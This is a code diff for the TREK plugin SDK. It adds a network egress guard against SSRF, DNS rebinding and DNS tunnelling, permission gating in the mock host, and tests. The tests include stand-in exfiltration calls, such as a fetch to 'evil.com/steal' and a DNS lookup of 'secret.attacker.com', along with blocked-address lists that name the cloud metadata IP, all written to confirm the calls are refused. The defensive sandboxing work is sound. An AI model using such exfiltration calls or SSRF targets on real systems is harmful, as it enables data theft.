// guard keeps resolving even though direct dns.* calls are refused.
const realLookup = dns.lookup.bind(dns);
// Resolve, then refuse a name that lands on a blocked address — the DNS-rebinding
// backstop, so a declared host can't point at localhost.
const guardedLookup = (
hostname: string,
options: unknown,
cb: (err: Error | null, address?: unknown, family?: number) => void,
): void => {
const opts = typeof options === 'function' ? {} : options;
if (typeof options === 'function') cb = options as typeof cb;
realLookup(hostname, opts as dns.LookupOptions, (err, address, family) => {
if (err) return cb(err, address as unknown, family);
const list = Array.isArray(address) ? address : [{ address: address as string }];
for (const a of list) {
if (blockPrivate && isBlockedIp((a as { address: string }).address)) {
return cb(new Error(`egress: ${hostname} resolves to a blocked address (${(a as { address: string }).address})`));
}
}
cb(null, address as unknown, family);
});
};
const proto = net.Socket.prototype as unknown as { connect: (...a: unknown[]) => unknown };
const realConnect = proto.connect;
proto.connect = function (this: unknown, ...rawArgs: unknown[]): unknown {
const args = unwrapConnectArgs(rawArgs);
const target = classifyConnect(args, (s) => net.isIP(s) !== 0);
if (target.kind === 'local') {
if (blockPrivate) throw new Error(`egress: connecting to a local socket/pipe (${target.host}) is not allowed`);
return realConnect.apply(this, rawArgs);
}
if (!allowed(target.host)) throw refuse(target.host);
if (target.kind === 'literal-ip') {
if (blockPrivate && isBlockedIp(target.host)) throw new Error(`egress: ${target.host} is a blocked address`);
return realConnect.apply(this, rawArgs);
}
// Hostname: inject the resolving guard, preserving any existing options.
const first = args[0];
const options = first && typeof first === 'object' ? { ...(first as object) } : { host: target.host, port: args[0] };
(options as { lookup?: unknown }).lookup = guardedLookup;
const rest = first && typeof first === 'object' ? args.slice(1) : args.slice(typeof args[1] === 'string' ? 2 : 1);
return realConnect.call(this, options, ...rest);
};
restores.push(() => { proto.connect = realConnect; });
// UDP: a TCP-only guard would leave a plugin's syslog/statsd channel wide open in
// dev and blocked in prod — the exact asymmetry this exists to kill.
const guardDatagram = (host: string | null): void => {
if (host === null) return;
if (!allowed(host)) throw refuse(host);
if (blockPrivate && net.isIP(host) !== 0 && isBlockedIp(host)) {
throw new Error(`egress: ${host} is a blocked address`);
}
};
const dgramProto = dgram.Socket.prototype as unknown as {
send: (...a: unknown[]) => unknown;
connect: (...a: unknown[]) => unknown;
};
const realSend = dgramProto.send;
dgramProto.send = function (this: unknown, ...args: unknown[]): unknown {
guardDatagram(dgramSendTarget(args));
return realSend.apply(this, args);
};
const realDgramConnect = dgramProto.connect;
dgramProto.connect = function (this: unknown, ...args: unknown[]): unknown {
guardDatagram(dgramConnectTarget(args));
return realDgramConnect.apply(this, args);
};
restores.push(() => { dgramProto.send = realSend; dgramProto.connect = realDgramConnect; });
// Gate the resolver family: a forward lookup for an undeclared NAME is a DNS-tunnel
// exfiltration channel even when no socket is ever opened.
//
// A literal IP is exempt — it carries no name to tunnel data in, and reaching it is
// still barred by the connect guard + isBlockedIp. This is not just pedantry: Node
// resolves the bind address through dns.lookup when a server listens on a host, so
// gating literal IPs makes the dev server unable to bind its own 127.0.0.1 listener.
// (The host's child never calls listen(), which is why it can gate them.)
const gateDnsMethods = (obj: Record<string, unknown> | undefined): void => {
if (!obj) return;
for (const name of DNS_METHODS) {
const real = obj[name];
if (typeof real !== 'function') continue;
obj[name] = function (this: unknown, hostname: unknown, ...rest: unknown[]): unknown {
if (typeof hostname === 'string' && net.isIP(hostname) === 0 && !allowed(hostname)) {
const err = new Error(`egress: DNS lookup for ${hostname} is not in the plugin's declared hosts`);
const cb = rest.find((a) => typeof a === 'function') as ((e: Error) => void) | undefined;
if (cb) return cb(err);
return Promise.reject(err);
}
return (real as (...a: unknown[]) => unknown).call(this, hostname, ...rest);
};
restores.push(() => { obj[name] = real; });
}
};
gateDnsMethods(dns as unknown as Record<string, unknown>);
gateDnsMethods(dns.promises as unknown as Record<string, unknown>);
gateDnsMethods((dns as unknown as { Resolver?: { prototype: Record<string, unknown> } }).Resolver?.prototype);
gateDnsMethods((dns.promises as unknown as { Resolver?: { prototype: Record<string, unknown> } })?.Resolver?.prototype);
return () => { for (const r of restores.reverse()) r(); };
}
+7
View File
@@ -623,6 +623,13 @@ export function definePlugin(def: PluginDefinition): PluginDefinition {
export { validateManifest, CHANNEL_EVENTS, type PluginManifest, type ValidationResult } from './manifest.js';
export { createMockHost, type MockHostOptions } from './mock-host.js';
// The permissions TREK enforces OUTSIDE ctx — hooks, events, jobs, egress. An entry
// point you implement without its grant is never called in production, silently; these
// are what `dev` and the mock driver use to make that loud.
export {
PermissionDenied, HOOK_PERMISSION, USER_DATA_PERMISSION, EVENTS_PERMISSION, JOBS_PERMISSION,
grantGaps, grantedHosts, type GrantGap, type PluginEntryPoints,
} from './permissions.js';
// The design kit for page/widget UIs: inline these into your client/index.html
// (or drop a `<!-- trek:ui -->` marker and let `dev`/`pack` expand it) to get the
// native TREK look — glass, hover, buttons, inputs — plus a `window.trek` bridge.
+5 -1
View File
@@ -71,7 +71,11 @@ export const CHANNEL_EVENTS = [
];
// Mirror of the server's KNOWN_PERMISSIONS (server envelope.ts) — the host hard-rejects
// anything not in this list at activation, so validate must know the full set.
const KNOWN_PERMISSIONS = [
//
// This is THE list. `create`'s permission picker is built from it (see PERMISSION_FAMILIES
// in cli/ui.ts, which only supplies the grouping and hints), so a permission added here can
// never again go missing from the scaffolder — test/cli.test.ts fails until it has an entry.
export const KNOWN_PERMISSIONS = [
'db:own',
'db:read:trips', 'db:read:users', 'db:read:costs', 'db:read:packing', 'db:read:files',
'db:read:files:content', 'db:read:collab',
+37 -1
View File
@@ -1,5 +1,6 @@
import type { PluginContext, PluginDefinition, PluginRequest, PluginResponse, Trip, Place, Day, Reservation, PackingItem, TripFile, BudgetItem, User, NotificationMessage, PluginActionResult } from './index.js';
import { CHANNEL_EVENTS } from './manifest.js';
import { PermissionDenied, HOOK_PERMISSION, USER_DATA_PERMISSION, EVENTS_PERMISSION, JOBS_PERMISSION } from './permissions.js';
/**
* A mock PluginContext for unit-testing a plugin without a running TREK
@@ -8,6 +9,12 @@ import { CHANNEL_EVENTS } from './manifest.js';
* plugin degrades gracefully. Data access returns configured fixtures; the db is
* a lightweight recorder (configure results, or use an integration test for real
* SQL).
*
* That applies to the DRIVER too (`run(def)`), not just ctx: TREK gates hooks, event
* subscriptions, jobs and the GDPR handlers on a permission before the plugin is ever
* reached, and skips an ungranted plugin SILENTLY. So `run(def).hook('warningProvider')`
* without `hook:trip-warning-provider` throws here — otherwise a green unit test would
* still mean a plugin that does nothing at all in production.
*/
export interface MockHostOptions {
@@ -66,6 +73,11 @@ export interface MockHostOptions {
* undeclared key throws — production refuses it before the child is ever woken.
* Unset = any key the plugin implements can be driven. */
declaredActions?: string[];
/** Hosts an ADMIN supplies at runtime to an `operatorEgress: true` plugin, which by
* definition cannot name them in its manifest. Only `trek-plugin dev` reads this (to
* widen its egress guard); the mock ctx makes no network calls of its own. It lives
* here because dev-fixtures.json IS a MockHostOptions and dev spreads it in whole. */
operatorEgressHosts?: string[];
/** The events this plugin's notification channel accepts, i.e. the manifest's
* `capabilities.notificationChannel.events`. Defaults to the full CHANNEL_EVENTS set.
* A manifest can only NARROW that set, never widen it — so can this. */
@@ -160,7 +172,6 @@ export interface MockHost {
run(def: PluginDefinition): PluginDriver;
}
class PermissionDenied extends Error {}
// --- Statement guards copied from the host's PluginDataDb (plugin-data.service.ts),
// so SQL production refuses fails in a unit test too instead of silently passing. ---
@@ -1365,6 +1376,18 @@ export function createMockHost(opts: MockHostOptions = {}): MockHost {
// ctx shares every fixture and recorder but binds nobody.
const userlessCtx = buildCtx(undefined);
// TREK gates these entry points BEFORE the plugin is reached: an ungranted hook is
// never offered to consumers, an ungranted subscriber is never delivered an event, and
// an ungranted plugin's jobs are never scheduled. It does all of that silently. Refuse
// them here so a unit test can't pass on a plugin production would never call.
const needEntry = (perm: string, what: string) => {
if (!grants.has(perm)) {
throw new PermissionDenied(
`PERMISSION_DENIED: ${what} requires ${perm} — TREK never fires an entry point the manifest did not grant`,
);
}
};
const run = (def: PluginDefinition): PluginDriver => ({
load: async () => { await def.onLoad?.(ctx); },
unload: async () => { await def.onUnload?.(ctx); },
@@ -1380,15 +1403,18 @@ export function createMockHost(opts: MockHostOptions = {}): MockHost {
return r.handler(full, ctx);
},
job: async (id) => {
needEntry(JOBS_PERMISSION, `job "${id}"`);
const j = (def.jobs ?? []).find((x) => x.id === id);
if (!j) throw new Error(`no job "${id}"`);
await j.handler(userlessCtx);
},
scheduled: async (name, payload) => {
needEntry(JOBS_PERMISSION, `scheduled "${name}"`);
if (typeof def.scheduled !== 'function') throw new Error('plugin has no scheduled handler');
await def.scheduled({ name, payload }, userlessCtx);
},
event: async (name, payload) => {
needEntry(EVENTS_PERMISSION, `event "${name}"`);
for (const s of def.events ?? []) {
if (s.on === name || s.on === '*') {
await s.handler({ event: name, tripId: payload?.tripId ?? 0, entity: payload?.entity, entityId: payload?.entityId, snapshot: payload?.snapshot }, userlessCtx);
@@ -1401,14 +1427,18 @@ export function createMockHost(opts: MockHostOptions = {}): MockHost {
}
},
deleteUserData: async (userId) => {
needEntry(USER_DATA_PERMISSION, 'deleteUserData');
if (typeof def.deleteUserData !== 'function') throw new Error('plugin has no deleteUserData handler');
await def.deleteUserData({ userId }, userlessCtx);
},
exportUserData: async (userId) => {
needEntry(USER_DATA_PERMISSION, 'exportUserData');
if (typeof def.exportUserData !== 'function') throw new Error('plugin has no exportUserData handler');
return def.exportUserData({ userId }, userlessCtx);
},
hook: async (name, fn, ...args) => {
const perm = HOOK_PERMISSION[name];
if (perm) needEntry(perm, `hook ${name}`);
const hooks = def.hooks as Record<string, Record<string, (...a: unknown[]) => unknown> | undefined> | undefined;
const impl = hooks?.[name];
if (!impl || typeof impl[fn] !== 'function') throw new Error(`no hook ${name}.${fn}`);
@@ -1438,6 +1468,7 @@ export function createMockHost(opts: MockHostOptions = {}): MockHost {
},
channel: {
send: async (msg, config) => {
needEntry(HOOK_PERMISSION.notificationChannel, 'notificationChannel.send');
const impl = def.hooks?.notificationChannel;
if (!impl) throw new Error('plugin has no notificationChannel hook');
const allowed = opts.channelEvents ?? CHANNEL_EVENTS;
@@ -1447,6 +1478,7 @@ export function createMockHost(opts: MockHostOptions = {}): MockHost {
await impl.send(msg, settingsBlob(config ?? opts.userSettings, 'channel config'), userlessCtx);
},
test: async (config) => {
needEntry(HOOK_PERMISSION.notificationChannel, 'notificationChannel.test');
const impl = def.hooks?.notificationChannel;
if (typeof impl?.test !== 'function') throw new Error('plugin has no notificationChannel.test hook');
await impl.test(settingsBlob(config ?? opts.userSettings, 'channel config'), userlessCtx);
@@ -1456,3 +1488,7 @@ export function createMockHost(opts: MockHostOptions = {}): MockHost {
return { ctx, userlessCtx, calls, logs, broadcasts, emitted, notifications, scheduled: scheduledTasks, run };
}
// `trek-plugin-sdk/testing` resolves to this module, so re-export what a test needs to
// assert on a denial: `await expect(h.run(def).job('x')).rejects.toThrow(PermissionDenied)`.
export { PermissionDenied, HOOK_PERMISSION, USER_DATA_PERMISSION, EVENTS_PERMISSION, JOBS_PERMISSION } from './permissions.js';
+102
View File
@@ -0,0 +1,102 @@
/**
* The permission families TREK enforces OUTSIDE the ctx object — and the single
* PermissionDenied both the dev server and the mock host throw.
*
* ctx methods are gated at call time (an ungranted ctx.trips.getById throws). But a
* hook, an event subscription and a job are gated BEFORE the plugin is ever reached:
* the supervisor simply never selects an ungranted plugin as a provider, never
* delivers it an event, and never schedules its jobs. That failure is SILENT in
* production — the plugin installs, activates, and then does nothing at all — so dev
* and the mock driver must be the place it becomes loud.
*/
/** Thrown by the dev server and the mock host for any ungranted capability. */
export class PermissionDenied extends Error {}
/**
* hooks.<key> → the permission that must ALSO be granted for TREK to ever call it.
* Mirrors HOOK_PERMISSION in the host's supervisor (plugin-supervisor.ts): a plugin
* provides a hook only if it BOTH implements it and holds this grant.
*/
export const HOOK_PERMISSION: Readonly<Record<string, string>> = {
photoProvider: 'hook:photo-provider',
calendarSource: 'hook:calendar-source',
placeDetailProvider: 'hook:place-detail-provider',
warningProvider: 'hook:trip-warning-provider',
tableContributor: 'hook:table-contributor',
mapMarkerProvider: 'hook:map-marker-provider',
pdfSectionProvider: 'hook:pdf-section-provider',
atlasLayerProvider: 'hook:atlas-layer-provider',
journalEntryProvider: 'hook:journal-entry-provider',
tripCardProvider: 'hook:trip-card-provider',
notificationChannel: 'hook:notification-channel',
};
/** Gates the GDPR handlers (deleteUserData / exportUserData). Not a hooks.* key. */
export const USER_DATA_PERMISSION = 'hook:user-data';
/** Gates event subscriptions — without it the host delivers the plugin nothing. */
export const EVENTS_PERMISSION = 'events:subscribe';
/** Gates jobs, and the ctx.scheduler timers that fire `scheduled`. */
export const JOBS_PERMISSION = 'jobs:run';
const HTTP_OUTBOUND = 'http:outbound:';
/** The structural shape of a loaded plugin that grantGaps needs. */
export interface PluginEntryPoints {
jobs?: unknown[];
scheduled?: unknown;
events?: unknown[];
deleteUserData?: unknown;
exportUserData?: unknown;
hooks?: Record<string, unknown>;
}
/** An entry point the plugin implements but has no permission to actually run. */
export interface GrantGap {
/** What the plugin implements, e.g. `hooks.warningProvider` or `jobs`. */
entryPoint: string;
/** The permission the manifest is missing. */
permission: string;
/** What TREK does instead — always a silent no-op, hence the warning. */
consequence: string;
}
/**
* Every entry point the plugin implements without the permission that makes TREK
* call it. Pure, so both the dev banner and the tests can use it.
*
* The consequence is worth spelling out to the author: production does NOT throw
* here, it just never invokes them — "my plugin does nothing and logs nothing" is
* exactly the bug this catches.
*/
export function grantGaps(plugin: PluginEntryPoints, grants: ReadonlySet<string>): GrantGap[] {
const gaps: GrantGap[] = [];
const gap = (entryPoint: string, permission: string, noun: string) => {
if (!grants.has(permission)) gaps.push({ entryPoint, permission, consequence: `TREK will never ${noun}` });
};
for (const key of Object.keys(plugin.hooks ?? {})) {
const perm = HOOK_PERMISSION[key];
// An unknown hooks.* key is the plugin's business (the host ignores it), not a gap.
if (perm && plugin.hooks?.[key]) gap(`hooks.${key}`, perm, `call this hook`);
}
if (plugin.jobs?.length) gap('jobs', JOBS_PERMISSION, 'schedule your jobs');
if (typeof plugin.scheduled === 'function') gap('scheduled', JOBS_PERMISSION, 'let you arm a timer (ctx.scheduler is denied)');
if (plugin.events?.length) gap('events', EVENTS_PERMISSION, 'deliver you any event');
if (typeof plugin.deleteUserData === 'function') gap('deleteUserData', USER_DATA_PERMISSION, 'call your GDPR erasure handler');
if (typeof plugin.exportUserData === 'function') gap('exportUserData', USER_DATA_PERMISSION, 'call your GDPR export handler');
return gaps;
}
/**
* The hosts a plugin may actually reach. TREK builds its runtime network allowlist
* from the `http:outbound:<host>` PERMISSIONS — the manifest's `egress[]` array is
* the consent-screen declaration and is never read at runtime. A bare `http:outbound`
* with no host suffix therefore reaches nothing.
*/
export function grantedHosts(grants: Iterable<string>): string[] {
return [...grants]
.filter((p) => p.startsWith(HTTP_OUTBOUND))
.map((p) => p.slice(HTTP_OUTBOUND.length))
.filter(Boolean); // a bare `http:outbound:` names no host
}
+29 -10
View File
@@ -4,7 +4,9 @@ import os from 'node:os';
import path from 'node:path';
import { validateManifest } from '../src/index.js';
import { scaffold } from '../src/cli/create.js';
import { PERMISSION_CATALOG, KNOWN_PERMISSIONS, isInteractive, missingArgs } from '../src/cli/ui.js';
import { PERMISSION_CATALOG, PERMISSION_FAMILIES, KNOWN_PERMISSIONS, isInteractive, missingArgs } from '../src/cli/ui.js';
// The authoritative set — what the HOST accepts at activation. The picker must match it.
import { KNOWN_PERMISSIONS as MANIFEST_PERMISSIONS } from '../src/manifest.js';
import { resolveMenuChoice, PRIMARY_MENU, ADVANCED_MENU } from '../src/cli/menu.js';
describe('scaffold egress (http:outbound)', () => {
@@ -38,15 +40,32 @@ describe('scaffold egress (http:outbound)', () => {
});
describe('permission catalog', () => {
it('covers exactly the known permission ids (none lost in the move to ui.ts)', () => {
expect(KNOWN_PERMISSIONS).toEqual([
'db:own', 'db:read:trips', 'db:read:users', 'db:read:costs', 'db:write:costs',
'db:write:places', 'db:write:days', 'db:write:itinerary', 'db:write:trips',
'db:meta',
'ws:broadcast:trip', 'ws:broadcast:user',
'hook:photo-provider', 'hook:calendar-source', 'hook:notification-channel', 'hook:place-detail-provider', 'hook:trip-warning-provider', 'http:outbound',
]);
for (const p of PERMISSION_CATALOG) expect(p.hint.length).toBeGreaterThan(0); // every option is described
// This test used to PIN an 18-item list and call it "exactly the known permission ids".
// It was wrong: the real set is ~58, so `create` could not offer jobs:run,
// events:subscribe or 7 of the 12 hooks, and the assertion guaranteed nobody noticed.
// It now asserts COVERAGE against the manifest validator's list, which is the only
// list the host actually honours — so a new TREK permission fails here until `create`
// can offer it.
it('offers every permission the host accepts — no more, no less', () => {
expect([...KNOWN_PERMISSIONS].sort()).toEqual([...MANIFEST_PERMISSIONS].sort());
});
it('describes every permission, and files it in exactly one family', () => {
for (const p of PERMISSION_CATALOG) {
expect(p.hint.length, `${p.value} has no hint`).toBeGreaterThan(0);
expect(PERMISSION_FAMILIES.filter((f) => f.permissions.some((x) => x.value === p.value)))
.toHaveLength(1);
}
// No duplicates across families — a permission listed twice would render twice.
expect(new Set(KNOWN_PERMISSIONS).size).toBe(KNOWN_PERMISSIONS.length);
});
it('every family is non-empty and described (an empty one is a dead prompt entry)', () => {
for (const f of PERMISSION_FAMILIES) {
expect(f.permissions.length, `family ${f.id} is empty`).toBeGreaterThan(0);
expect(f.label.length).toBeGreaterThan(0);
expect(f.hint.length).toBeGreaterThan(0);
}
});
});
+153
View File
@@ -0,0 +1,153 @@
import { describe, it, expect, afterEach } from 'vitest';
import {
makeHostAllow, isBlockedIp, classifyConnect, unwrapConnectArgs, dgramSendTarget, dgramConnectTarget,
installEgressGuard, type RestoreEgress,
} from '../src/egress-policy.js';
describe('makeHostAllow', () => {
it('matches an exact host only', () => {
const allow = makeHostAllow(['api.example.com']);
expect(allow('api.example.com')).toBe(true);
expect(allow('API.Example.COM')).toBe(true); // case-insensitive
expect(allow('api.example.com.')).toBe(true); // trailing-dot FQDN
expect(allow('evil.com')).toBe(false);
expect(allow('notapi.example.com')).toBe(false);
});
it('matches subdomains (and the apex) for a *.suffix wildcard', () => {
const allow = makeHostAllow(['*.example.com']);
expect(allow('a.example.com')).toBe(true);
expect(allow('deep.nested.example.com')).toBe(true);
expect(allow('example.com')).toBe(true); // the apex itself
expect(allow('example.com.evil.net')).toBe(false);
});
it('refuses the allow-all patterns — a bare * and a whole-TLD wildcard', () => {
expect(makeHostAllow(['*'])('anything.com')).toBe(false);
expect(makeHostAllow(['*.com'])('anything.com')).toBe(false);
expect(makeHostAllow(['*.'])('anything.com')).toBe(false);
});
it('with no declared hosts, nothing is allowed — as in production', () => {
const allow = makeHostAllow([]);
expect(allow('example.com')).toBe(false);
expect(allow('localhost')).toBe(false);
});
});
describe('isBlockedIp', () => {
it.each([
'127.0.0.1', '10.0.0.5', '172.16.0.1', '172.31.255.255', '192.168.1.1',
'169.254.169.254', // cloud metadata — the SSRF prize
'100.64.0.1', '0.0.0.0', '224.0.0.1',
])('blocks %s', (ip) => expect(isBlockedIp(ip)).toBe(true));
it.each(['8.8.8.8', '1.1.1.1', '172.32.0.1', '192.169.0.1', '99.1.2.3'])(
'allows public %s', (ip) => expect(isBlockedIp(ip)).toBe(false),
);
it('blocks every spelling of an IPv6 loopback/metadata address', () => {
expect(isBlockedIp('::1')).toBe(true);
expect(isBlockedIp('::')).toBe(true);
expect(isBlockedIp('fe80::1')).toBe(true); // link-local
expect(isBlockedIp('fc00::1')).toBe(true); // ULA
expect(isBlockedIp('::ffff:127.0.0.1')).toBe(true); // IPv4-mapped, dotted
expect(isBlockedIp('::ffff:a9fe:a9fe')).toBe(true); // IPv4-mapped metadata, hex
expect(isBlockedIp('[::ffff:169.254.169.254]')).toBe(true); // bracketed
expect(isBlockedIp('2606:4700::1111')).toBe(false); // public v6
});
});
describe('connect / dgram argument parsing', () => {
const isIP = (s: string) => /^\d+\.\d+\.\d+\.\d+$/.test(s);
it('unwraps the pre-normalised [options, cb] array net.connect() passes', () => {
const opts = { host: 'a.com', port: 80 };
expect(unwrapConnectArgs([[opts, () => {}]])).toEqual([opts, expect.any(Function)]);
expect(unwrapConnectArgs([opts])).toEqual([opts]);
});
it('classifies every connect() overload', () => {
expect(classifyConnect([{ host: 'a.com', port: 443 }], isIP)).toEqual({ kind: 'hostname', host: 'a.com' });
expect(classifyConnect([{ host: '1.2.3.4' }], isIP)).toEqual({ kind: 'literal-ip', host: '1.2.3.4' });
expect(classifyConnect([{ path: '/var/run/docker.sock' }], isIP)).toEqual({ kind: 'local', host: '/var/run/docker.sock' });
expect(classifyConnect(['/tmp/x.sock'], isIP)).toEqual({ kind: 'local', host: '/tmp/x.sock' });
expect(classifyConnect([443, 'a.com'], isIP)).toEqual({ kind: 'hostname', host: 'a.com' });
expect(classifyConnect([443], isIP)).toEqual({ kind: 'hostname', host: 'localhost' });
// the plain-HTTP path undici takes — misparsing this once made every HTTP call
// look like a connect to "localhost"
expect(classifyConnect([[{ host: 'a.com', port: 80 }, () => {}]], isIP)).toEqual({ kind: 'hostname', host: 'a.com' });
});
it('finds the dgram destination in both send() overloads', () => {
expect(dgramSendTarget(['msg', 514, 'logs.example.com'])).toBe('logs.example.com');
expect(dgramSendTarget(['msg', 0, 3, 514, 'logs.example.com'])).toBe('logs.example.com'); // (offset,length) form
expect(dgramSendTarget(['msg', 514])).toBeNull(); // no explicit address
expect(dgramConnectTarget([514, 'logs.example.com'])).toBe('logs.example.com');
expect(dgramConnectTarget([514])).toBeNull();
});
});
describe('installEgressGuard', () => {
let restore: RestoreEgress | null = null;
afterEach(() => { restore?.(); restore = null; });
it('rejects a fetch to an undeclared host, and names the permission to add', async () => {
restore = installEgressGuard(['api.example.com']);
await expect(fetch('https://evil.com/steal')).rejects.toThrow(/evil\.com is not in the plugin's declared hosts/);
await expect(fetch('https://evil.com/steal')).rejects.toThrow(/http:outbound:evil\.com/);
});
it('blocks ALL outbound when no host is declared — as in production', async () => {
restore = installEgressGuard([]);
await expect(fetch('https://api.example.com')).rejects.toThrow(/not in the plugin's declared hosts/);
});
it('rejects a malformed url rather than passing it through', async () => {
restore = installEgressGuard(['api.example.com']);
await expect(fetch('not-a-url')).rejects.toThrow(/egress: invalid url/);
});
it('lets a declared host through to the real fetch (it delegates, never resolves)', async () => {
restore = installEgressGuard(['api.example.com']);
// Port 1 will never connect, so this rejects either way — what matters is WHICH error.
// An egress refusal would mean the guard blocked a host it was told to allow.
const err = await fetch('http://api.example.com:1/').catch((e: Error) => e.message);
expect(err).not.toMatch(/declared hosts/);
expect(err).toMatch(/fetch failed|ECONNREFUSED/);
});
it('gates a DNS lookup for an undeclared name (the DNS-tunnel channel)', async () => {
restore = installEgressGuard(['api.example.com']);
const dns = await import('node:dns');
await expect(dns.promises.resolveTxt('secret.attacker.com')).rejects.toThrow(/DNS lookup for secret\.attacker\.com/);
});
// Regression: gating literal IPs too broke the dev server's OWN listener — Node
// resolves a bind address through dns.lookup, so `listen(port, '127.0.0.1')` was
// refused by its own guard and dev could not start. An IP has no name to tunnel
// data in; reaching it is still barred by the connect guard + isBlockedIp.
it('does NOT gate a lookup of a literal IP (the dev server binds through dns.lookup)', async () => {
restore = installEgressGuard([]); // nothing declared: the strictest possible policy
const dns = await import('node:dns');
await expect(dns.promises.lookup('127.0.0.1')).resolves.toMatchObject({ address: '127.0.0.1' });
});
it('still refuses to CONNECT to a blocked literal IP', async () => {
restore = installEgressGuard(['1.2.3.4']);
const net = await import('node:net');
// Declared, but private — the SSRF backstop outranks the allowlist.
expect(() => new net.Socket().connect({ host: '127.0.0.1', port: 1 })).toThrow(/blocked address|declared hosts/);
});
it('restores the real fetch and dns on teardown', async () => {
const realFetch = globalThis.fetch;
const dns = await import('node:dns');
const realResolve = dns.promises.resolveTxt;
const undo = installEgressGuard(['api.example.com']);
expect(globalThis.fetch).not.toBe(realFetch);
undo();
expect(globalThis.fetch).toBe(realFetch);
expect(dns.promises.resolveTxt).toBe(realResolve);
});
});
@@ -0,0 +1,54 @@
/**
* The SDK hand-mirrors two things the server owns: the hook→permission map, and the
* pure egress-policy helpers. trek-plugin-sdk ships standalone and cannot import across
* the package boundary, so the copies are real copies — and a silent drift here is the
* worst possible bug in this module: `dev` would confidently green-light a plugin that
* the host then refuses (or refuse one the host would allow).
*
* These tests read the server's source directly. They only run inside the TREK monorepo;
* in a published/standalone checkout the server isn't there and they skip.
*/
import { describe, it, expect } from 'vitest';
import fs from 'node:fs';
import path from 'node:path';
import { fileURLToPath } from 'node:url';
import { HOOK_PERMISSION } from '../src/permissions.js';
const here = path.dirname(fileURLToPath(import.meta.url));
const serverPlugins = path.resolve(here, '../../server/src/nest/plugins');
const supervisor = path.join(serverPlugins, 'supervisor/plugin-supervisor.ts');
const serverEgress = path.join(serverPlugins, 'runtime/egress-policy.ts');
const inMonorepo = fs.existsSync(supervisor) && fs.existsSync(serverEgress);
describe.skipIf(!inMonorepo)('parity with the host', () => {
it('HOOK_PERMISSION matches the supervisor\'s map exactly', () => {
const src = fs.readFileSync(supervisor, 'utf8');
const block = src.match(/const HOOK_PERMISSION[^{]*\{([\s\S]*?)\n\};/);
expect(block, 'could not find HOOK_PERMISSION in plugin-supervisor.ts').toBeTruthy();
const host: Record<string, string> = {};
for (const [, key, perm] of block![1].matchAll(/^\s*(\w+):\s*'([^']+)'/gm)) host[key] = perm;
// Both directions: a hook the host gates that we don't know about means dev fires it
// when TREK never would; one we gate that the host doesn't means dev refuses for nothing.
expect(Object.keys(host).length).toBeGreaterThan(0);
expect(HOOK_PERMISSION).toEqual(host);
});
it('the vendored egress-policy helpers are byte-identical to the server\'s', () => {
const ours = fs.readFileSync(path.resolve(here, '../src/egress-policy.ts'), 'utf8');
const theirs = fs.readFileSync(serverEgress, 'utf8');
// Compare the pure helpers only — our file additionally carries installEgressGuard
// (the server's lives in plugin-host-entry.ts, where it is coupled to the child).
const fns = ['isBlockedIp', 'expandV6', 'makeHostAllow', 'dgramSendTarget', 'dgramConnectTarget', 'unwrapConnectArgs', 'classifyConnect'];
const body = (src: string, name: string): string => {
const start = src.indexOf(`function ${name}(`);
expect(start, `${name} not found`).toBeGreaterThan(-1);
// From the signature to the closing brace at column 0 — these are all top-level fns.
const end = src.indexOf('\n}', start);
return src.slice(start, end).replace(/\s+/g, ' ').trim();
};
for (const fn of fns) expect(body(ours, fn), `${fn} has drifted from the server`).toBe(body(theirs, fn));
});
});
+79
View File
@@ -0,0 +1,79 @@
import { describe, it, expect } from 'vitest';
import {
grantGaps, grantedHosts, HOOK_PERMISSION, USER_DATA_PERMISSION, EVENTS_PERMISSION, JOBS_PERMISSION,
} from '../src/permissions.js';
const noop = () => {};
describe('grantGaps — entry points TREK would never run', () => {
it('reports nothing for an empty plugin', () => {
expect(grantGaps({}, new Set())).toEqual([]);
});
// The whole point of this module: every hook must be gated on its own permission, and
// a typo in one row of the map is a plugin that silently never runs in production.
for (const [key, permission] of Object.entries(HOOK_PERMISSION)) {
it(`flags hooks.${key} without ${permission}`, () => {
const plugin = { hooks: { [key]: { anyFn: noop } } };
const gaps = grantGaps(plugin, new Set());
expect(gaps).toHaveLength(1);
expect(gaps[0]).toMatchObject({ entryPoint: `hooks.${key}`, permission });
});
it(`does not flag hooks.${key} when ${permission} is granted`, () => {
expect(grantGaps({ hooks: { [key]: { anyFn: noop } } }, new Set([permission]))).toEqual([]);
});
}
it.each([
['jobs', { jobs: [{ id: 'refresh', handler: noop }] }, JOBS_PERMISSION],
['scheduled', { scheduled: noop }, JOBS_PERMISSION],
['events', { events: [{ on: 'place:created', handler: noop }] }, EVENTS_PERMISSION],
['deleteUserData', { deleteUserData: noop }, USER_DATA_PERMISSION],
['exportUserData', { exportUserData: noop }, USER_DATA_PERMISSION],
])('flags %s without its grant, and clears once granted', (entryPoint, plugin, permission) => {
const gaps = grantGaps(plugin, new Set());
expect(gaps).toHaveLength(1);
expect(gaps[0]).toMatchObject({ entryPoint, permission });
expect(grantGaps(plugin, new Set([permission]))).toEqual([]);
});
it('does not flag an EMPTY jobs/events array — nothing is implemented', () => {
expect(grantGaps({ jobs: [], events: [] }, new Set())).toEqual([]);
});
it('ignores an unknown hooks.* key (the host ignores it too, so it is not a gap)', () => {
expect(grantGaps({ hooks: { notAHook: { f: noop } } }, new Set())).toEqual([]);
});
it('reports every gap at once, so one dev run surfaces them all', () => {
const gaps = grantGaps(
{ jobs: [{ id: 'j', handler: noop }], events: [{ on: '*', handler: noop }], hooks: { warningProvider: { getWarnings: noop } } },
new Set(),
);
expect(gaps.map((g) => g.permission).sort()).toEqual(
[EVENTS_PERMISSION, JOBS_PERMISSION, 'hook:trip-warning-provider'].sort(),
);
});
it('a partially-granted plugin reports only what is missing', () => {
const plugin = { jobs: [{ id: 'j', handler: noop }], hooks: { warningProvider: { getWarnings: noop } } };
const gaps = grantGaps(plugin, new Set([JOBS_PERMISSION]));
expect(gaps).toHaveLength(1);
expect(gaps[0].permission).toBe('hook:trip-warning-provider');
});
});
describe('grantedHosts', () => {
it('takes the hosts from http:outbound:<host> permissions only', () => {
expect(grantedHosts(['db:own', 'http:outbound:api.example.com', 'http:outbound:*.foo.dev'])).toEqual([
'api.example.com',
'*.foo.dev',
]);
});
it('a bare http:outbound names no host — it reaches nothing', () => {
expect(grantedHosts(['http:outbound'])).toEqual([]);
expect(grantedHosts(['http:outbound:'])).toEqual([]);
});
});
+57 -4
View File
@@ -4,7 +4,7 @@ import os from 'node:os';
import path from 'node:path';
import zlib from 'node:zlib';
import { createRequire } from 'node:module';
import { definePlugin, PLUGIN_API_VERSION, validateManifest, createMockHost } from '../src/index.js';
